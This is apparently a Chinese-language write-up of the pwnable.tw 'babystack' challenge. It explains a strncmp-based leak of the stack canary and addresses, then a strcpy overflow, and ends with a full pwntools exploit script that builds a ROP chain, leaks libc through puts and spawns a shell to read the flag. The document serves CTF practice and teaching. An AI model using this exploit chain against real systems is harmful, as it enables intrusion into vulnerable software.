pwnable.tw babystack writeup

一个很有意思的栈溢出,需要多个函数组合来构造漏洞。

原题地址:https://pwnable.tw/challenge/

该题的栈环境需要依赖glibc,可以去原题地址进行下载,下面的打包文件也会附带题目的libc。

源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/babystack

溢出点

总共两个溢出点,一个是泄露栈信息,一个是栈溢出。

void __fastcall Login(const char *a1)
{
  size_t v1; // rax
  char s[128]; // [rsp+10h] [rbp-80h]

  printf("Your passowrd :");
  read_n(s, 127u);
  v1 = strlen(s);
  if ( !strncmp(s, a1, v1) )
  {
    admin = 1;
    puts("Login Success !");
  }
  else
  {
    puts("Failed !");
  }
}

Login函数中,由于判断字符的长度可以受控制,那么就可以进行逐字判断,从而泄露出栈地址的内容。

int __fastcall Copy(char *a1)
{
  char src[128]; // [rsp+10h] [rbp-80h]

  printf("Copy :");
  read_n(src, 63u);
  strcpy(a1, src);
  return puts("It is magic copy !");
}

Copy函数中,使用的是strcpy函数,我们可以利用Login函数来布局栈结构,然后用Copy函数的strcpy进行栈溢出。

思路

  1. 泄露栈地址和程序基地址
  2. 组合溢出
  3. 泄露libc

泄露栈地址和程序基地址

由于buf的地址是rsp+0x40,所以我们可以泄露rsp+0x40之后的信息。

pwndbg> stack
...
08:0040│      0x7ffe1835b170 ◂— 0x12e945f216cb8448
09:0048│      0x7ffe1835b178 ◂— 0x63847b76506d1c14
0a:0050│ rsi  0x7ffe1835b180 —▸ 0x7ffe1835b231 ◂— 0x0
0b:0058│      0x7ffe1835b188 ◂— 0x0
0c:0060│ rbp  0x7ffe1835b190 —▸ 0x5599b69e2060 ◂— 0x41ff894156415741
0d:0068│      0x7ffe1835b198 —▸ 0x7f5438052830 (__libc_start_main+240) ◂— mov    edi, eax
0e:0070│      0x7ffe1835b1a0 —▸ 0x7f54383f17d0 —▸ 0x7f54380522c0 ◂— push   r14
0f:0078│      0x7ffe1835b1a8 —▸ 0x7ffe1835b278 —▸ 0x7ffe1835bf76 ◂— './babystack'

调试可以发现我们可以泄露出生成的stack_guard,栈的地址,还有程序基地址。

组合溢出

利用上面的溢出点进行栈溢出,由于payload仅有4个字长,所以这里将跳到Login函数读取更大的payload,由于泄露的栈地址最低字节不确定,所以这里需要进行爆破,payload前面加上ret指令进行滑栈可以增加爆破几率。

layout1 = [
    stack_addr - 0x100 + 0x80, # rbp

    image_addr + Login_addr,

    image_addr + leave_ret,
]

如上所示,rbp为猜测的值。

layout2 = [
    image_addr + pop_rdi_ret,
    new_stack1_addr,
    image_addr + pop_rsi_r15_ret,
    0x100,
    0,
    image_addr + read_n_addr,

    image_addr + pop_rbp_ret,
    new_stack1_addr,
    image_addr + leave_ret,
]

# 0x0000000000000aa9 : ret
ret_addr = image_addr + 0x0000000000000aa9

temp = p64(ret_addr) * (16 - len(layout2)) + flat(layout2)
sh.sendafter('Your passowrd :', temp[:127])

如果程序踩中了我们的payload,之后便是正常的栈转移(泄露libc,执行shell)。

完整脚本

据统计应该是1/6的概率

注意,由于服务器速度很慢,可能执行一次需要数个小时,所以请耐心等待。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './babystack'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10205)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0xEBB)
    b *$rebase(0x1052)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

random_buf = ''
for i in range(0x10):
    for ii in range(1, 0x100):
        sh.sendafter('>> ', '1')
        sh.sendlineafter('Your passowrd :', random_buf + chr(ii))

        if(sh.recvline() == 'Login Success !\n'):
            random_buf += chr(ii)
            sh.sendafter('>> ', '1')
            break

print(hexdump(random_buf))

leak_content = '1'

for i in range(6):
    for ii in range(1, 0x100):
        sh.sendafter('>> ', '1')
        sh.sendlineafter('Your passowrd :', random_buf + leak_content + chr(ii))

        if(sh.recvline() == 'Login Success !\n'):
            leak_content += chr(ii)
            sh.sendafter('>> ', '1')
            break

print(hexdump(leak_content))
stack_addr = u64(leak_content.ljust(8, '\0')) & 0xffffffffffffff00
log.success('stack_addr: ' + hex(stack_addr))

sh.sendafter('>> ', '1' + 'a' * 15)
sh.sendafter('Your passowrd :', 'a')

leak_content = ''

for i in range(6):
    for ii in range(1, 0x100):
        sh.sendafter('>> ', '1')
        sh.sendlineafter('Your passowrd :', random_buf + '1' + 'a' * 15 + leak_content + chr(ii))

        if(sh.recvline() == 'Login Success !\n'):
            leak_content += chr(ii)
            sh.sendafter('>> ', '1')
            break

print(hexdump(leak_content))
image_addr = u64(leak_content.ljust(8, '\0')) - 0x1060
log.success('image_addr: ' + hex(image_addr))

# 0x00000000000010c3 : pop rdi ; ret
pop_rdi_ret = 0x00000000000010c3
# 0x00000000000010c1 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x00000000000010c1
read_n_addr = 0xCA0
# 0x0000000000000d0d : leave ; ret
leave_ret = 0x0000000000000d0d
Login_addr = 0xDEF

layout1 = [
    stack_addr - 0x100 + 0x80, # rbp

    image_addr + Login_addr,

    image_addr + leave_ret,
]

for i in range(len(layout1))[::-1]:
    sh.sendafter('>> ', '1')
    temp = '\0' + 'b' * 95 + 'cccccccc' * i + p64((layout1[i] << 8) + 1) + '\0'
    sh.sendafter('Your passowrd :', temp[:127])

    sh.sendafter('>> ', '3')
    sh.sendafter('Copy :', 'b')
    sh.sendafter('>> ', '1')

    sh.sendafter('>> ', '1')
    temp = '\0' + 'b' * 63 + random_buf + 'b' * 0x10 + 'cccccccc' * i + p64(layout1[i]) + '\0'
    sh.sendafter('Your passowrd :', temp[:127])

    sh.sendafter('>> ', '3')
    sh.sendafter('Copy :', 'b')
    sh.sendafter('>> ', '1')

sh.sendafter('>> ', '1')
sh.sendafter('Your passowrd :', '\0')

# pause()
sh.sendafter('>> ', '2')

# 0x0000000000000bd0 : pop rbp ; ret
pop_rbp_ret = 0x0000000000000bd0
new_stack1_addr = image_addr + 0x203000 - 0x200

layout2 = [
    image_addr + pop_rdi_ret,
    new_stack1_addr,
    image_addr + pop_rsi_r15_ret,
    0x100,
    0,
    image_addr + read_n_addr,

    image_addr + pop_rbp_ret,
    new_stack1_addr,
    image_addr + leave_ret,
]

# 0x0000000000000aa9 : ret
ret_addr = image_addr + 0x0000000000000aa9

temp = p64(ret_addr) * (16 - len(layout2)) + flat(layout2)
sh.sendafter('Your passowrd :', temp[:127])
# sh.sendafter('Your passowrd :', 'zzzzzzzz' * (16 - len(layout2)) + flat(layout2))
sh.recvline()

new_stack2_addr = image_addr + 0x203000 - 0x100

layout3 = [
    0,
    image_addr + pop_rdi_ret,
    image_addr + elf.got['puts'],
    image_addr + elf.plt['puts'],

    image_addr + pop_rdi_ret,
    new_stack2_addr,
    image_addr + pop_rsi_r15_ret,
    0x100,
    0,
    image_addr + read_n_addr,

    image_addr + pop_rbp_ret,
    new_stack2_addr,
    image_addr + leave_ret,
]

sh.send(flat(layout3))

result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

layout4 = [
    0,
    image_addr + pop_rdi_ret,
    libc_addr + libc.search('/bin/sh\0').next(),
    libc_addr + libc.symbols['system'],

    image_addr + pop_rdi_ret,
    0,
    libc_addr + libc.symbols['exit'],
]

sh.send(flat(layout4))

sh.sendline('find /home -name flag | xargs cat')
sh.sendline('cat /home/BabyStack/flag')

sh.interactive()
clear()